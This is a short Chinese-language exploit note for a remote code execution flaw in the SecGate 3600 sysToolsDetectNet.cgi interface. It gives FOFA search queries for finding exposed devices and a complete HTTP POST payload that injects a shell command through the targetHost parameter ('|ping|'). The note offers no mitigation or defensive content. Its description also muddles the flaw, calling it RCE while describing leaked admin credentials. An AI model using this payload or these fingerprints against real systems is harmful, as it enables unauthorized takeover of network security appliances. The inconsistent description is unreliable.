Q1-12奇安信-网神SecSSL3600-RCE

漏洞描述：

网神SecGate 3600 sysToolsDetectNet.cgi接口远程代码执行漏洞 接口存在敏感信息泄露漏洞，未授权得攻击者可以通过此漏洞获取控制台管理员用户名密码等凭据，可登录控制整个后台，使系统处于极不安全的状态。

网站图片：

fofa语法：

body=“sec_gate_image/login_02.gif”

fid=“ldb0WVBlAgZloMw9AAge0A==”

漏洞复现：

payload：

POST /cgi-bin/sysTools/sysToolsDetectNet.cgi HTTP/1.1
Host: xxxxxxx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: text/plain, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest


targetHost=|ping|